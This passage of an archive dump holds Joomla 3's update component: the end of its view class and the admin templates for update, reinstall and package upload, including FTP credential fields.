		if (version_compare($this->updateInfo['latest'], '4', '>='))
		{
			$this->nonCoreCriticalPlugins = $model->getNonCorePlugins(array('system','user','authentication','actionlog','twofactorauth'));
		}

		// Set the toolbar information.
		JToolbarHelper::title(JText::_('COM_JOOMLAUPDATE_OVERVIEW'), 'loop install');
		JToolbarHelper::custom('update.purge', 'loop', 'loop', 'COM_JOOMLAUPDATE_TOOLBAR_CHECK', false);

		// Add toolbar buttons.
		if (JFactory::getUser()->authorise('core.admin'))
		{
			JToolbarHelper::preferences('com_joomlaupdate');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_JOOMLA_UPDATE');

		if (!is_null($this->updateInfo['object']))
		{
			// Show the message if an update is found.
			JFactory::getApplication()->enqueueMessage(JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATE_NOTICE'), 'warning');
		}

		$this->ftpFieldsDisplay = $this->ftp['enabled'] ? '' : 'style = "display: none"';
		$params                 = JComponentHelper::getParams('com_joomlaupdate');

		switch ($params->get('updatesource', 'default'))
		{
			// "Minor & Patch Release for Current version AND Next Major Release".
			case 'next':
				$this->langKey         = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_NEXT';
				$this->updateSourceKey = JText::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NEXT');
				break;

			// "Testing"
			case 'testing':
				$this->langKey         = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_TESTING';
				$this->updateSourceKey = JText::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING');
				break;

			// "Custom"
			case 'custom':
				$this->langKey         = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_CUSTOM';
				$this->updateSourceKey = JText::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM');
				break;

			/**
			 * "Minor & Patch Release for Current version (recommended and default)".
			 * The commented "case" below are for documenting where 'default' and legacy options falls
			 * case 'default':
			 * case 'lts':
			 * case 'sts':
			 * case 'nochange':
			 */
			default:
				$this->langKey         = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_DEFAULT';
				$this->updateSourceKey = JText::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DEFAULT');
		}

		$this->warnings = array();
		/** @var InstallerModelWarnings $warningsModel */
		$warningsModel = $this->getModel('warnings');

		if (is_object($warningsModel) && $warningsModel instanceof JModelLegacy)
		{
			$language = JFactory::getLanguage();
			$language->load('com_installer', JPATH_ADMINISTRATOR, 'en-GB', false, true);
			$language->load('com_installer', JPATH_ADMINISTRATOR, null, true);

			$this->warnings = $warningsModel->getItems();
		}

		$this->selfUpdate = $this->checkForSelfUpdate();

		// Only Super Users have access to the Update & Install for obvious security reasons
		$this->showUploadAndUpdate = JFactory::getUser()->authorise('core.admin');

		// Remove temporary files
		$model->removePackageFiles();

		// Render the view.
		parent::display($tpl);
	}

	/**
	 * Makes sure that the Joomla! Update Component Update is in the database and check if there is a new version.
	 *
	 * @return  boolean  True if there is an update else false
	 *
	 * @since   3.6.3
	 */
	private function checkForSelfUpdate()
	{
		$db = JFactory::getDbo();

		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('element') . ' = ' . $db->quote('com_joomlaupdate'));
		$db->setQuery($query);

		try
		{
			// Get the component extension ID
			$joomlaUpdateComponentId = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			// Something is wrong here!
			$joomlaUpdateComponentId = 0;
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
		}

		// Try the update only if we have an extension id
		if ($joomlaUpdateComponentId != 0)
		{
			// Always force to check for an update!
			$cache_timeout = 0;

			$updater = JUpdater::getInstance();
			$updater->findUpdates($joomlaUpdateComponentId, $cache_timeout, JUpdater::STABILITY_STABLE);

			// Fetch the update information from the database.
			$query = $db->getQuery(true)
				->select('*')
				->from($db->quoteName('#__updates'))
				->where($db->quoteName('extension_id') . ' = ' . $db->quote($joomlaUpdateComponentId));
			$db->setQuery($query);

			try
			{
				$joomlaUpdateComponentObject = $db->loadObject();
			}
			catch (RuntimeException $e)
			{
				// Something is wrong here!
				$joomlaUpdateComponentObject = null;
				JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
			}

			if (is_null($joomlaUpdateComponentObject))
			{
				// No Update great!
				return false;
			}

			return true;
		}
	}

	/**
	 * Returns true, if the pre update check should be displayed.
	 * This logic is not hardcoded in tmpl files, because it is
	 * used by the Hathor tmpl too.
	 *
	 * @return boolean
	 *
	 * @since 3.10.0
	 */
	public function shouldDisplayPreUpdateCheck()
	{
		// When the download URL is not found there is no core upgrade path
		if (!isset($this->updateInfo['object']->downloadurl->_data))
		{
			return false;
		}

		$nextMinor = JVersion::MAJOR_VERSION . '.' . (JVersion::MINOR_VERSION + 1);

		// Show only when we found a download URL, we have an update and when we update to the next minor or greater.
		return $this->updateInfo['hasUpdate']
				&& version_compare($this->updateInfo['latest'], $nextMinor, '>=');
	}
}

com_joomlaupdate/views/default/tmpl/default_update.php000060400000020075152455305270017332 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */
?>
<fieldset>
	<legend>
		<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATEFOUND'); ?>
	</legend>
	<p>
		<?php echo JText::sprintf($this->langKey, $this->updateSourceKey); ?>
	</p>

	<table class="table table-striped">
		<tbody>
		<tr>
			<td>
				<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLED'); ?>
			</td>
			<td>
				<?php echo '&#x200E;' . $this->updateInfo['installed']; ?>
			</td>
		</tr>
		<tr>
			<td>
				<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_LATEST'); ?>
			</td>
			<td>
				<?php echo '&#x200E;' . $this->updateInfo['latest']; ?>
			</td>
		</tr>
		<tr>
			<td>
				<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE'); ?>
			</td>
			<td>
				<a href="<?php echo $this->updateInfo['object']->downloadurl->_data; ?>" target="_blank" rel="noopener noreferrer">
					<?php echo $this->updateInfo['object']->downloadurl->_data; ?>
					<span class="icon-out-2" aria-hidden="true"></span>
					<span class="element-invisible"><?php echo JText::_('JBROWSERTARGET_NEW'); ?></span>
				</a>
			</td>
		</tr>
		<?php if (isset($this->updateInfo['object']->get('infourl')->_data)
			&& isset($this->updateInfo['object']->get('infourl')->title)) : ?>
			<tr>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INFOURL'); ?>
				</td>
				<td>
					<a href="<?php echo $this->updateInfo['object']->get('infourl')->_data; ?>" target="_blank" rel="noopener noreferrer">
						<?php echo $this->updateInfo['object']->get('infourl')->title; ?>
						<span class="icon-out-2" aria-hidden="true"></span>
						<span class="element-invisible"><?php echo JText::_('JBROWSERTARGET_NEW'); ?></span>
					</a>
				</td>
			</tr>
		<?php endif; ?>
		<?php // Hide FTP settings when updating to Joomla 4 given that the supporting code has been dropped there ?>
		<?php if (version_compare($this->updateInfo['latest'], '4', '<')) : ?>
			<tr>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD'); ?>
				</td>
				<td>
					<?php echo $this->methodSelect; ?>
				</td>
			</tr>
			<tr id="row_ftp_hostname" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME'); ?>
				</td>
				<td>
					<input type="text" name="ftp_host" value="<?php echo $this->ftp['host']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_port" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT'); ?>
				</td>
				<td>
					<input type="text" name="ftp_port" value="<?php echo $this->ftp['port']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_username" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME'); ?>
				</td>
				<td>
					<input type="text" name="ftp_user" value="<?php echo $this->ftp['username']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_password" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD'); ?>
				</td>
				<td>
					<input type="password" name="ftp_pass" value="<?php echo $this->ftp['password']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_directory" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY'); ?>
				</td>
				<td>
					<input type="text" name="ftp_root" value="<?php echo $this->ftp['directory']; ?>" />
				</td>
			</tr>
		<?php endif; ?>
		</tbody>
		<tfoot>
		<tr id="preupdateCheckWarning">
			<td colspan="2">
				<div class="alert">
					<h4 class="alert-heading">
						<?php echo JText::_('WARNING'); ?>
					</h4>
					<div class="alert-message">
						<div class="preupdateCheckIncomplete">
							<?php echo JText::_('COM_JOOMLAUPDATE_PREUPDATE_CHECK_NOT_COMPLETE'); ?>
						</div>
					</div>
				</div>
			</td>
		</tr>
		<tr id="preupdateCheckCompleteProblems" class="hidden">
			<td colspan="2">
				<div class="alert">
					<h4 class="alert-heading">
						<?php echo JText::_('WARNING'); ?>
					</h4>
					<div class="alert-message">
						<div class="preupdateCheckComplete">
							<?php echo JText::_('COM_JOOMLAUPDATE_PREUPDATE_CHECK_COMPLETED_YOU_HAVE_DANGEROUS_PLUGINS'); ?>
						</div>
					</div>
				</div>
			</td>
		</tr>
		<tr id="preupdateconfirmation" >
			<td colspan="2">
				<label  class="preupdateconfirmation_label label label-warning span12">
					<h3>
						<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_NON_CORE_PLUGIN_BEING_CHECKED'); ?>
					</h3>
				</label>
			</td>
		</tr>
		<tr id="preupdatecheckheadings">
			<td colspan="2">
				<table class="table table-striped">
					<thead>
						<th>
							<?php echo JText::_('COM_INSTALLER_TYPE_PLUGIN'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_INSTALLER_TYPE_PACKAGE'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_INSTALLER_AUTHOR_INFORMATION'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_JOOMLAUPDATE_PREUPDATE_CHECK_EXTENSION_AUTHOR_URL'); ?>
						</th>
					</thead>
					<tbody>
						<?php foreach ($this->nonCoreCriticalPlugins as $nonCoreCriticalPlugin) : ?>
							<tr id='plg_<?php echo $nonCoreCriticalPlugin->extension_id ?>'>
								<td>
									<?php echo JText::_($nonCoreCriticalPlugin->name); ?>
								</td>
								<?php if ($nonCoreCriticalPlugin->package_id > 0) : ?>
									<?php foreach ($this->nonCoreExtensions as $nonCoreExtension) : ?>
										<?php if ($nonCoreCriticalPlugin->package_id == $nonCoreExtension->extension_id) : ?>
											<td>
												<?php echo $nonCoreExtension->name; ?>
											</td>
										<?php endif; ?>
									<?php endforeach; ?>
								<?php else : ?>
									<td/>
								<?php endif; ?>
								<td>
									<?php if (isset($nonCoreCriticalPlugin->manifest_cache->author)) : ?>
									<?php echo JText::_($nonCoreCriticalPlugin->manifest_cache->author); ?>
									<?php elseif ($nonCoreCriticalPlugin->package_id > 0) : ?>
									<?php foreach ($this->nonCoreExtensions as $nonCoreExtension) : ?>
										<?php if ($nonCoreCriticalPlugin->package_id == $nonCoreExtension->extension_id) : ?>
										<td>
											<?php echo $nonCoreExtension->name; ?>
										</td>
										<?php endif; ?>
									<?php endforeach; ?>
									<?php endif; ?>
								</td>
								<td>
									<?php $authorURL = ''; ?>
									<?php if (isset($nonCoreCriticalPlugin->manifest_cache->authorUrl)) : ?>
										<?php $authorURL = $nonCoreCriticalPlugin->manifest_cache->authorUrl; ?>
									<?php elseif ($nonCoreCriticalPlugin->package_id > 0) : ?>
										<?php foreach ($this->nonCoreExtensions as $nonCoreExtension) : ?>
											<?php if ($nonCoreCriticalPlugin->package_id == $nonCoreExtension->extension_id) : ?>
												<?php $authorURL = $nonCoreExtension->manifest_cache->authorUrl; ?>
											<?php endif; ?>
										<?php endforeach; ?>
									<?php endif; ?>
									<?php if (!empty($authorURL)) : ?>
										<a href="<?php echo $authorURL; ?>" target="_blank">
											<?php echo $authorURL; ?>
											<span class="icon-out-2" aria-hidden="true"></span>
											<span class="element-invisible">
												<?php echo JText::_('JBROWSERTARGET_NEW'); ?>
											</span>
										</a>
									<?php endif;?>
								</td>
							</tr>
						<?php endforeach; ?>
					</tbody>
				</table>
			</td>
		</tr>
		<tr id="preupdatecheckbox">
			<td>
				<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_NON_CORE_PLUGIN_CONFIRMATION'); ?>
			</td>
			<td>
				<input type="checkbox" id="noncoreplugins" name="noncoreplugins" value="1" required aria-required="true" />
			</td>
		</tr>

		<tr>
			<td>
				&nbsp;
			</td>
			<td>
				<button class="btn btn-primary disabled submitupdate" type="submit" disabled>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE'); ?>
				</button>
			</td>
		</tr>
		</tfoot>
	</table>
</fieldset>
com_joomlaupdate/views/default/tmpl/default_reinstall.php000060400000007272152455305270020051 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */
?>
<fieldset>
	<legend>
		<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES'); ?>
	</legend>
	<p>
		<?php echo JText::sprintf($this->langKey, $this->updateSourceKey); ?>
	</p>

	<div class="alert alert-success">
		<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE', JVERSION); ?>
	</div>

	<?php if (is_object($this->updateInfo['object']) && ($this->updateInfo['object'] instanceof JUpdate)) : ?>
		<table class="table table-striped">
			<tbody>
			<tr>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE_REINSTALL'); ?>
				</td>
				<td>
					<a href="<?php echo $this->updateInfo['object']->downloadurl->_data; ?>" target="_blank" rel="noopener noreferrer">
						<?php echo $this->updateInfo['object']->downloadurl->_data; ?>
						<span class="icon-out-2" aria-hidden="true"></span>
						<span class="element-invisible"><?php echo JText::_('JBROWSERTARGET_NEW'); ?></span>
					</a>
				</td>
			</tr>
			<?php if (isset($this->updateInfo['object']->get('infourl')->_data)
				&& isset($this->updateInfo['object']->get('infourl')->title)) : ?>
				<tr>
					<td>
						<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INFOURL'); ?>
					</td>
					<td>
						<a href="<?php echo $this->updateInfo['object']->get('infourl')->_data; ?>" target="_blank" rel="noopener noreferrer">
							<?php echo $this->updateInfo['object']->get('infourl')->title; ?>
							<span class="icon-out-2" aria-hidden="true"></span>
							<span class="element-invisible"><?php echo JText::_('JBROWSERTARGET_NEW'); ?></span>
						</a>
					</td>
				</tr>
			<?php endif; ?>
			<tr>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD'); ?>
				</td>
				<td>
					<?php echo $this->methodSelect; ?>
				</td>
			</tr>
			<tr id="row_ftp_hostname" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME'); ?>
				</td>
				<td>
					<input type="text" name="ftp_host" value="<?php echo $this->ftp['host']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_port" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT'); ?>
				</td>
				<td>
					<input type="text" name="ftp_port" value="<?php echo $this->ftp['port']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_username" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME'); ?>
				</td>
				<td>
					<input type="text" name="ftp_user" value="<?php echo $this->ftp['username']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_password" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD'); ?>
				</td>
				<td>
					<input type="password" name="ftp_pass" value="<?php echo $this->ftp['password']; ?>" />
				</td>
			</tr>
			<tr id="row_ftp_directory" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY'); ?>
				</td>
				<td>
					<input type="text" name="ftp_root" value="<?php echo $this->ftp['directory']; ?>" />
				</td>
			</tr>
			</tbody>
			<tfoot>
			<tr>
				<td>
					&nbsp;
				</td>
				<td>
					<button class="btn btn-warning" type="submit">
						<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLAGAIN'); ?>
					</button>
				</td>
			</tr>
			</tfoot>
		</table>
	<?php endif; ?>

</fieldset>
com_joomlaupdate/views/default/tmpl/default_updatemefirst.php000060400000001021152455305270020712 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */
?>

<fieldset>
	<legend>
		<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_NO_LIVE_UPDATE'); ?>
	</legend>
	<p>
		<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_NO_LIVE_UPDATE_DESC'); ?>
	</p>
</fieldset>
com_joomlaupdate/views/default/tmpl/complete.php000060400000001304152455305270016146 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<fieldset>
	<legend>
		<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING'); ?>
	</legend>
	<p class="alert alert-success">
		<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE', JVERSION); ?>
	</p>
</fieldset>
<form action="<?php echo JRoute::_('index.php?option=com_joomlaupdate'); ?>" method="post" id="adminForm">
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_joomlaupdate/views/default/tmpl/default_noupdate.php000060400000001205152455305270017661 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */
?>
<fieldset>
	<legend>
		<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES'); ?>
	</legend>
	<p>
		<?php echo JText::sprintf($this->langKey, $this->updateSourceKey); ?>
	</p>
	<div class="alert alert-success">
		<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE', JVERSION); ?>
	</div>
</fieldset>
com_joomlaupdate/views/default/tmpl/default_nodownload.php000060400000002654152455305270020217 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */
?>

<fieldset>
	<?php if (!$this->getModel()->isDatabaseTypeSupported()) : ?>
		<legend>
			<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DB_NOT_SUPPORTED'); ?>
		</legend>
		<p>
			<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_DB_NOT_SUPPORTED_DESC', $this->updateInfo['latest']); ?>
		</p>
	<?php endif; ?>
	<?php if (!$this->getModel()->isPhpVersionSupported()) : ?>
		<legend>
			<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_PHP_VERSION_NOT_SUPPORTED'); ?>
		</legend>
		<p>
			<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_PHP_VERSION_NOT_SUPPORTED_DESC', $this->updateInfo['latest']); ?>
		</p>
	<?php endif; ?>
	<?php if (!isset($this->updateInfo['object']->downloadurl->_data) && $this->updateInfo['installed'] < $this->updateInfo['latest'] && $this->getModel()->isPhpVersionSupported() && $this->getModel()->isDatabaseTypeSupported()) : ?>
		<legend>
			<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_NO_DOWNLOAD_URL'); ?>
		</legend>
		<p>
			<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_NO_DOWNLOAD_URL_DESC', $this->updateInfo['latest']); ?>
		</p>
	<?php endif; ?>


</fieldset>
com_joomlaupdate/views/default/tmpl/default_upload.php000060400000016115152455305270017334 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */

$errSelectPackage = JText::_('COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE', true);
$errPackageTooBig = JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG', true);
$txtPackageSize   = JText::_('JGLOBAL_SELECTED_UPLOAD_FILE_SIZE', true);
$js               = <<< JS
	Joomla.submitbuttonUpload = function() {
		var form = document.getElementById("uploadForm");

		// do field validation
		if (form.install_package.value == "") {
			alert("$errSelectPackage");
		}
		else if (form.install_package.files[0].size > form.max_upload_size.value) {
			alert("$errPackageTooBig");
		}
		else
		{
			jQuery("#loading").css("display", "block");

			form.submit();
		}
	};

	Joomla.installpackageChange = function() {
		var form = document.getElementById('uploadForm');
		var fileSize = form.install_package.files[0].size;
		var fileSizeMB = fileSize * 1.0 / 1024.0 / 1024.0;
		var fileSizeText = "$txtPackageSize";
		var fileSizeElement = document.getElementById('file_size');
		var warningElement  = document.getElementById('max_upload_size_warn');

		if (form.install_package.value == '') {
			fileSizeElement.classList.add('hidden');
			warningElement .classList.add('hidden');
		}
		else if (fileSize) {
			fileSizeElement.classList.remove('hidden');
			fileSizeElement.innerHTML = fileSizeText.replace('%s', fileSizeMB.toFixed(2) + ' MB');

			if (fileSize > form.max_upload_size.value) {
				warningElement .classList.remove('hidden');
			} else {
				warningElement .classList.add('hidden');
			}
		}
	};

	// Add spindle-wheel for installations:
	jQuery(document).ready(function($) {
		var outerDiv = $("#joomlaupdate-wrapper");

		$("#loading")
		.css("top", outerDiv.position().top - $(window).scrollTop())
		.css("left", "0")
		.css("width", "100%")
		.css("height", "100%")
		.css("display", "none")
		.css("margin-top", "-10px");
	});

JS;

JFactory::getDocument()->addScriptDeclaration($js);

$ajaxLoaderImage = JHtml::_('image', 'jui/ajax-loader.gif', '', null, true, true);
$css             = <<< CSS
	#loading {
		background: rgba(255, 255, 255, .8) url('$ajaxLoaderImage') 50% 15% no-repeat;
		position: fixed;
		opacity: 1;
		-ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity = 80);
		filter: alpha(opacity = 80);
		overflow: hidden;
	}
CSS;
JFactory::getDocument()->addStyleDeclaration($css);
?>

<div class="alert alert-info">
	<p>
		<span class="icon icon-info" aria-hidden="true"></span>
		<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_UPLOAD_INTRO', 'https://downloads.joomla.org/latest'); ?>
	</p>
</div>

<?php if (count($this->warnings)) : ?>
<fieldset>
	<legend>
		<?php echo JText::_('COM_INSTALLER_SUBMENU_WARNINGS'); ?>
	</legend>

	<?php $i = 0; ?>
	<?php echo JHtml::_('bootstrap.startAccordion', 'warnings', array('active' => 'warning' . $i)); ?>
	<?php foreach ($this->warnings as $message) : ?>
		<?php echo JHtml::_('bootstrap.addSlide', 'warnings', $message['message'], 'warning' . ($i++)); ?>
		<?php echo $message['description']; ?>
		<?php echo JHtml::_('bootstrap.endSlide'); ?>
	<?php endforeach; ?>
	<?php echo JHtml::_('bootstrap.addSlide', 'warnings', JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFO'), 'furtherinfo'); ?>
	<?php echo JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFODESC'); ?>
	<?php echo JHtml::_('bootstrap.endSlide'); ?>
	<?php echo JHtml::_('bootstrap.endAccordion'); ?>
</fieldset>
<?php endif; ?>

<form enctype="multipart/form-data" action="index.php" method="post" id="uploadForm" class="form-horizontal">
	<fieldset class="uploadform">
		<legend><?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_TAB_UPLOAD'); ?></legend>
		<table class="table table-striped">
			<tbody>
			<tr>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_UPLOAD_PACKAGE_FILE'); ?>
				</td>
				<td>
					<input class="input_box" id="install_package" name="install_package" type="file" size="57" accept=".zip,application/zip" onchange="Joomla.installpackageChange()" /><br>
					<?php $maxSizeBytes = JUtility::getMaxUploadSize(); ?>
					<?php $maxSize = JHtml::_('number.bytes', $maxSizeBytes); ?>
					<input id="max_upload_size" name="max_upload_size" type="hidden" value="<?php echo $maxSizeBytes; ?>" />
					<div class="small"><?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', '&#x200E;' . $maxSize); ?></div>
					<div class="small hidden" id="file_size" name="file_size"><?php echo JText::sprintf('JGLOBAL_SELECTED_UPLOAD_FILE_SIZE', '&#x200E;' . ''); ?></div>
					<div class="alert alert-warning hidden" id="max_upload_size_warn">
						<?php echo JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG'); ?>
					</div>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD'); ?>
				</td>
				<td>
					<?php echo $this->methodSelectUpload; ?>
				</td>
			</tr>
			<tr id="upload_ftp_notice" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_NOTICE'); ?>
				</td>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_NOTICE_MESSAGE'); ?>
				</td>
			</tr>
			<tr id="upload_ftp_hostname" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME'); ?>
				</td>
				<td>
					<input type="text" name="ftp_host" value="<?php echo $this->ftp['host']; ?>" />
				</td>
			</tr>
			<tr id="upload_ftp_port" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT'); ?>
				</td>
				<td>
					<input type="text" name="ftp_port" value="<?php echo $this->ftp['port']; ?>" />
				</td>
			</tr>
			<tr id="upload_ftp_username" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME'); ?>
				</td>
				<td>
					<input type="text" name="ftp_user" value="<?php echo $this->ftp['username']; ?>" />
				</td>
			</tr>
			<tr id="upload_ftp_password" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD'); ?>
				</td>
				<td>
					<input type="password" name="ftp_pass" value="<?php echo $this->ftp['password']; ?>" />
				</td>
			</tr>
			<tr id="upload_ftp_directory" <?php echo $this->ftpFieldsDisplay; ?>>
				<td>
					<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY'); ?>
				</td>
				<td>
					<input type="text" name="ftp_root" value="<?php echo $this->ftp['directory']; ?>" />
				</td>
			</tr>
			</tbody>
			<tfoot>
			<tr>
				<td>
					&nbsp;
				</td>
				<td>
					<button class="btn btn-primary" type="button" onclick="Joomla.submitbuttonUpload()"><?php echo JText::_('COM_INSTALLER_UPLOAD_AND_INSTALL'); ?></button>
				</td>
			</tr>
			</tfoot>
		</table>
	</fieldset>

	<input type="hidden" name="task" value="update.upload" />
	<input type="hidden" name="option" value="com_joomlaupdate" />
	<?php echo JHtml::_('form.token'); ?>

</form>
com_joomlaupdate/views/default/tmpl/default_preupdatecheck.php000060400000023310152455305270021032 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
